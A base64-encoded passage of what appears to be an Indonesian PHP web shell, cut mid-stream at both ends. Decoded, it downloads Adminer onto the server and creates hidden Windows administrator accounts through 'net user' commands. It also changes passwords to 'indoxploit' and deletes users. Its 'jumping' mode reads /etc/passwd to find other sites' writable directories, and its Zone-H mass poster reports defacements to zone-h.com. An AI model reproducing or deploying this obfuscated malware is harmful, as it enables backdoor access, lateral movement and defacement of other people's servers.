KGZpbGVfZXhpc3RzKCdhZG1pbmVyLnBocCcpKSB7CiAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj15ZWxsb3c+PGEgaHJlZj0nJGZ1bGwvYWRtaW5lci5waHAnIHRhcmdldD0nX2JsYW5rJz5NYXN1ayBBZG1pbmVyPC9hPjwvZm9udD48L2NlbnRlcj4iOwogICAgfSBlbHNlIHsKICAgICAgICBpZihhZG1pbmVyKCJodHRwczovL3d3dy5hZG1pbmVyLm9yZy9zdGF0aWMvZG93bmxvYWQvNC4yLjQvYWRtaW5lci00LjIuNC5waHAiLCJhZG1pbmVyLnBocCIpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93PjxhIGhyZWY9JyRmdWxsL2FkbWluZXIucGhwJyB0YXJnZXQ9J19ibGFuayc+TWFzdWsgQWRtaW5lcjwvYT48L2ZvbnQ+PC9jZW50ZXI+IjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5nYWdhbCBidWF0IGZpbGUgYWRtaW5lcjwvZm9udD48L2NlbnRlcj4iOwogICAgICAgIH0KICAgIH0KCiNLUkRQX1NIRUxMCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3JkcHNoZWxsJykgewogICAgaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICd3aW4nKSB7CiAgICAgICAgaWYoJF9QT1NUWydjcmVhdGUnXSkgewogICAgICAgICAgICAkdXNlciA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWyd1c2VyJ10pOwogICAgICAgICAgICAkcGFzcyA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwYXNzJ10pOwogICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvJHVzZXIvIiwgZXhlKCJuZXQgdXNlciIpKSkgewogICAgICAgICAgICAgICAgZWNobyAiW0lORk9dIC0+IDxmb250IGNvbG9yPXJlZD51c2VyIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IHN1ZGFoIGFkYTwvZm9udD4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGFkZF91c2VyICAgPSBleGUoIm5ldCB1c2VyICR1c2VyICRwYXNzIC9hZGQiKTsKICAgICAgICAgICAgICAgICRhZGRfZ3JvdXBzMSA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgJHVzZXIgL2FkZCIpOwogICAgICAgICAgICAgICAgJGFkZF9ncm91cHMyID0gZXhlKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yICR1c2VyIC9hZGQiKTsKICAgICAgICAgICAgICAgICRhZGRfZ3JvdXBzMyA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRldXIgJHVzZXIgL2FkZCIpOwogICAgICAgICAgICAgICAgZWNobyAiWyBSRFAgQUNDT1VOVCBJTkZPIF08YnI+CiAgICAgICAgICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+CiAgICAgICAgICAgICAgICBJUDogPGZvbnQgY29sb3I9bGltZT4iLiRpcC4iPC9mb250Pjxicj4KICAgICAgICAgICAgICAgIFVzZXJuYW1lOiA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250Pjxicj4KICAgICAgICAgICAgICAgIFBhc3N3b3JkOiA8Zm9udCBjb2xvcj1saW1lPiRwYXNzPC9mb250Pjxicj4KICAgICAgICAgICAgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj48YnI+CiAgICAgICAgICAgICAgICBbIFNUQVRVUyBdPGJyPgogICAgICAgICAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPgogICAgICAgICAgICAgICAgIjsKICAgICAgICAgICAgICAgIGlmKCRhZGRfdXNlcikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlthZGQgdXNlcl0gLT4gPGZvbnQgY29sb3I9J2xpbWUnPkJlcmhhc2lsPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIHVzZXJdIC0+IDxmb250IGNvbG9yPSdyZWQnPkdhZ2FsPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoJGFkZF9ncm91cHMxKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0b3JzXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPiI7CiAgICAgICAgICAgICAgICB9IGVsc2VpZigkYWRkX2dyb3VwczIpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcl0gLT4gPGZvbnQgY29sb3I9J2xpbWUnPkJlcmhhc2lsPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfSBlbHNlaWYoJGFkZF9ncm91cHMzKSB7IAogICAgICAgICAgICAgICAgICAgIGVjaG8gIlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdGV1cl0gLT4gPGZvbnQgY29sb3I9J2xpbWUnPkJlcmhhc2lsPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIGxvY2FsZ3JvdXBdIC0+IDxmb250IGNvbG9yPSdyZWQnPkdhZ2FsPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3Nfb3BzaSddKSB7CiAgICAgICAgICAgICR1c2VyID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3JfdXNlciddKTsKICAgICAgICAgICAgaWYoJF9QT1NUWydvcHNpJ10gPT0gJzEnKSB7CiAgICAgICAgICAgICAgICAkY2VrID0gZXhlKCJuZXQgdXNlciAkdXNlciIpOwogICAgICAgICAgICAgICAgZWNobyAiQ2hlY2tpbmcgdXNlcm5hbWUgPGZvbnQgY29sb3I9bGltZT4kdXNlcjwvZm9udD4gLi4uLi4uLiAiOwogICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsICRjZWspKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiWyA8Zm9udCBjb2xvcj1saW1lPlN1ZGFoIGFkYTwvZm9udD4gXTxicj4KICAgICAgICAgICAgICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+PGJyPgogICAgICAgICAgICAgICAgICAgIDxwcmU+JGNlazwvcHJlPiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlsgPGZvbnQgY29sb3I9cmVkPmJlbHVtIGFkYTwvZm9udD4gXSI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmKCRfUE9TVFsnb3BzaSddID09ICcyJykgewogICAgICAgICAgICAgICAgJGNlayA9IGV4ZSgibmV0IHVzZXIgJHVzZXIgaW5kb3hwbG9pdCIpOwogICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsIGV4ZSgibmV0IHVzZXIiKSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbY2hhbmdlIHBhc3N3b3JkOiA8Zm9udCBjb2xvcj1saW1lPmluZG94cGxvaXQ8L2ZvbnQ+XSAtPiAiOwogICAgICAgICAgICAgICAgICAgIGlmKCRjZWspIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9bGltZT5CZXJoYXNpbDwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5HYWdhbDwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW0lORk9dIC0+IDxmb250IGNvbG9yPXJlZD51c2VyIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IGJlbHVtIGFkYTwvZm9udD4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ29wc2knXSA9PSAnMycpIHsKICAgICAgICAgICAgICAgICRjZWsgPSBleGUoIm5ldCB1c2VyICR1c2VyIC9ERUxFVEUiKTsKICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi8kdXNlci8iLCBleGUoIm5ldCB1c2VyIikpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW3JlbW92ZSB1c2VyOiA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250Pl0gLT4gIjsKICAgICAgICAgICAgICAgICAgICBpZigkY2VrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWxpbWU+QmVyaGFzaWw8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+R2FnYWw8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIltJTkZPXSAtPiA8Zm9udCBjb2xvcj1yZWQ+dXNlciA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250PiBiZWx1bSBhZGE8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIC8vCiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICItLSBDcmVhdGUgUkRQIC0tPGJyPgogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgcGxhY2Vob2xkZXI9J3VzZXJuYW1lJyB2YWx1ZT0nICB1c2VybmFtZScgcmVxdWlyZWQ+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJyBwbGFjZWhvbGRlcj0ncGFzc3dvcmQnIHZhbHVlPScgIHBhc3N3b3JkJyByZXF1aXJlZD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY3JlYXRlJyB2YWx1ZT0nPj4nPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIC0tIE9wdGlvbiAtLTxicj4KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdwb3N0Jz4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3JfdXNlcicgcGxhY2Vob2xkZXI9JyAgdXNlcm5hbWUnIHJlcXVpcmVkPgogICAgICAgICAgICA8c2VsZWN0IG5hbWU9J29wc2knPgogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPScxJz5DZWsgVXNlcm5hbWU8L29wdGlvbj4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nMic+VWJhaCBQYXNzd29yZDwvb3B0aW9uPgogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSczJz5IYXB1cyBVc2VybmFtZTwvb3B0aW9uPgogICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc19vcHNpJyB2YWx1ZT0nPj4nPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Rml0dXIgaW5pIGhhbnlhIGRhcGF0IGRpZ3VuYWthbiBkYWxhbSBXaW5kb3dzIFNlcnZlci48L2ZvbnQ+IjsKICAgIH0KI0pVTVBJTkcKfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnanVtcGluZycpIHsKICAgICRpID0gMDsKICAgIGVjaG8gIjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOwogICAgaWYocHJlZ19tYXRjaCgiL2hzcGhlcmUvIiwgJGRpcikpIHsKICAgICAgICAkdXJscyA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VybCddKTsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2p1bXAnXSkpIHsKICAgICAgICAgICAgZWNobyAiPHByZT4iOwogICAgICAgICAgICBmb3JlYWNoKCR1cmxzIGFzICR1cmwpIHsKICAgICAgICAgICAgICAgICR1cmwgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsInd3dy4iKSwgIiIsIHN0cnRvbG93ZXIoJHVybCkpOwogICAgICAgICAgICAgICAgJGV0YyA9ICIvZXRjL3Bhc3N3ZCI7CiAgICAgICAgICAgICAgICAkZiA9IGZvcGVuKCRldGMsInIiKTsKICAgICAgICAgICAgICAgIHdoaWxlKCRnZXRzID0gZmdldHMoJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgJHBlY2FoID0gZXhwbG9kZSgiOiIsICRnZXRzKTsKICAgICAgICAgICAgICAgICAgICAkdXNlciA9ICRwZWNhaFswXTsKICAgICAgICAgICAgICAgICAgICAkZGlyX3VzZXIgPSAiL2hzcGhlcmUvbG9jYWwvaG9tZS8kdXNlciI7CiAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRkaXJfdXNlcikgPT09IHRydWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVybF91c2VyID0gJGRpcl91c2VyLiIvIi4kdXJsOwogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19yZWFkYWJsZSgkdXJsX3VzZXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPWdvbGQ+JHVybF91c2VyPC9mb250PjwvYT4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHVybF91c2VyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1cmxfdXNlcic+PGZvbnQgY29sb3I9Z29sZD4kdXJsX3VzZXI8L2ZvbnQ+PC9hPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRqcncuIjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgaWYoJGkgPT0gMCkgeyAKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICI8YnI+VG90YWwgYWRhICIuJGkuIiBLYW1hciBkaSAiLiRpcDsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC9wcmU+IjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICc8Y2VudGVyPgogICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICBMaXN0IERvbWFpbnM6IDxicj4KICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9InVybCIgc3R5bGU9IndpZHRoOiA1MDBweDsgaGVpZ2h0OiAyNTBweDsiPic7CiAgICAgICAgICAgICRmcCA9IGZvcGVuKCIvaHNwaGVyZS9sb2NhbC9jb25maWcvaHR0cGQvc2l0ZXMvc2l0ZXMudHh0IiwiciIpOwogICAgICAgICAgICB3aGlsZSgkZ2V0c3MgPSBmZ2V0cygkZnApKSB7CiAgICAgICAgICAgICAgICBlY2hvICRnZXRzczsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICAnPC90ZXh0YXJlYT48YnI+CiAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJKdW1waW5nIiBuYW1lPSJqdW1wIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1cHg7Ij4KICAgICAgICAgICAgICAgICAgPC9mb3JtPjwvY2VudGVyPic7CiAgICAgICAgfQogICAgfSBlbHNlaWYocHJlZ19tYXRjaCgiL3Zob3N0c3x2aG9zdC8iLCAkZGlyKSkgewogICAgICAgIHByZWdfbWF0Y2goIi9cL3Zhclwvd3d3XC8oLio/KVwvLyIsICRkaXIsICR2aCk7CiAgICAgICAgJHVybHMgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7CiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydqdW1wJ10pKSB7CiAgICAgICAgICAgIGVjaG8gIjxwcmU+IjsKICAgICAgICAgICAgZm9yZWFjaCgkdXJscyBhcyAkdXJsKSB7CiAgICAgICAgICAgICAgICAkdXJsID0gc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJHVybCk7CiAgICAgICAgICAgICAgICAkd2ViX3ZoID0gIi92YXIvd3d3LyIuJHZoWzFdLiIvJHVybC9odHRwZG9jcyI7CiAgICAgICAgICAgICAgICBpZihpc19kaXIoJHdlYl92aCkgPT09IHRydWUpIHsKICAgICAgICAgICAgICAgICAgICBpZihpc19yZWFkYWJsZSgkd2ViX3ZoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR3ZWJfdmgnPjxmb250IGNvbG9yPWdvbGQ+JHdlYl92aDwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHdlYl92aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR3ZWJfdmgnPjxmb250IGNvbG9yPWdvbGQ+JHdlYl92aDwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRqcncuIjxicj4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIGlmKCRpID09IDApIHsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgS2FtYXIgZGkgIi4kaXA7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAnPGNlbnRlcj4KICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgTGlzdCBEb21haW5zOiA8YnI+CiAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJ1cmwiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjUwcHg7Ij4nOwogICAgICAgICAgICAgICAgICBiaW5nKCJpcDokaXAiKTsKICAgICAgICAgICAgZWNobyAgJzwvdGV4dGFyZWE+PGJyPgogICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSnVtcGluZyIgbmFtZT0ianVtcCIgc3R5bGU9IndpZHRoOiA1MDBweDsgaGVpZ2h0OiAyNXB4OyI+CiAgICAgICAgICAgICAgICAgIDwvZm9ybT48L2NlbnRlcj4nOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPHByZT4iOwogICAgICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7CiAgICAgICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7CiAgICAgICAgICAgIGlmKCRwYXNzd2QgPT0gJycgfHwgISRldGMpIHsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2p1bXBpbmcpOwogICAgICAgICAgICAgICAgZm9yZWFjaCgkdXNlcl9qdW1waW5nWzFdIGFzICR1c2VyX2lkeF9qdW1wKSB7CiAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOwogICAgICAgICAgICAgICAgICAgIGlmKGlzX3JlYWRhYmxlKCR1c2VyX2p1bXBpbmdfZGlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1nb2xkPiR1c2VyX2p1bXBpbmdfZGlyPC9mb250PjwvYT4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1nb2xkPiR1c2VyX2p1bXBpbmdfZGlyPC9mb250PjwvYT4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGpydzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9tYWluX2p1bXAgPSBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGRvbWFpbl9qdW1wID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiMvdmFyL25hbWVkLyguKj8pLmRiIyIsICRkb21haW5fanVtcCwgJGRvbWFpbnNfanVtcCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdXNlcl9qdW1waW5nX3VybCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvJGRqIikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdXNlcl9qdW1waW5nX3VybCA9ICR1c2VyX2p1bXBpbmdfdXJsWyduYW1lJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPT4gKCA8dT4kZGo8L3U+ICk8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYoJGkgPT0gMCkgeyAKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICI8YnI+VG90YWwgYWRhICIuJGkuIiBLYW1hciBkaSAiLiRpcDsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC9wcmU+IjsKICAgIH0KICAgIGVjaG8gIjwvZGl2PiI7CgovL1pvbmUtSCBNYXNzIFBvc3Rlcgp9IGVsc2VpZigkX0dFVFsnYSddID09ICd6b25lLWgnKSB7CiAgICBpZigkX1BPU1RbJ3N1Ym1pdCddKSB7CiRkb21haW4gPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7CiRuaWNrID0gICRfUE9TVFsnbmljayddOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+RGVmYWNlciBPbmhvbGQgOiA8YSBocmVmPSdodHRwOi8vd3d3LnpvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj0kbmljay9wdWJsaXNoZWQ9MCcgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNvbG9yPXllbGxvdz5odHRwOi8vd3d3LnpvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj0kbmljay9wdWJsaXNoZWQ9MDwvYT48L2ZvbnQ+PGJyPiI7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5EZWZhY2VyIEFyY2hpdmUgOiA8YSBocmVmPSdodHRwOi8vd3d3LnpvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj0kbmljaycgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNvbG9yPXllbGxvdz5odHRwOi8vd3d3LnpvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj0kbmljazwvYT48L2ZvbnQ+PGJyPjxicj4iOwpmdW5jdGlvbiB6b25laCgkdXJsLCRuaWNrKSB7CiAgICAkY2ggPSBjdXJsX2luaXQoImh0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvc2luZ2xlIik7CiAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIHRydWUpOwogICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJkZWZhY2VyPSRuaWNrJmRvbWFpbjE9JHVybCZoYWNrbW9kZT0xJnJlYXNvbj0xJnN1Ym1pdD1TZW5kIik7CiAgICByZXR1cm4gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7Cn0KZm9yZWFjaCgkZG9tYWluIGFzICR1cmwpIHsKICAgICR6b25laCA9IHpvbmVoKCR1cmwsJG5pY2spOwogICAgaWYocHJlZ19tYXRjaCgiL2NvbG9yPVwicmVkXCI+T0s8XC9mb250PjxcL2xpPi9pIiwgJHpvbmVoKSkgewogICAgICAgIGVjaG8gIiR1cmwgLT4gPGZvbnQgY29sb3I9eWVsbG93Pi0+IE9LPC9mb250Pjxicj4iOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICIkdXJsIC0+IDxmb250IGNvbG9yPXJlZD4tPiBFUlJPUjwvZm9udD48YnI+IjsKICAgIH0KfQogICAgfSBlbHNlIHsKZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj15ZWxsb3cgc2l6ZT0zPiBab25lLUggTWFzcyBTdWJtaXQ8L2NlbnRlcj48YnI+CiAgICAgICAgPGZvcm0gbWV0aG9kPSdwb3N0Jz4KPHU+RGVmYWNlcjwvdT46IDxicj4KPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J25pY2snIHNpemU9JzUwJyB2YWx1ZT0nazB2M1QnPjxicj4KPHU+RG9tYWluPC91PjogPGJyPgo8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAxNTBweDsnIG5hbWU9J3VybCc+PC90ZXh0YXJlYT48YnI+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1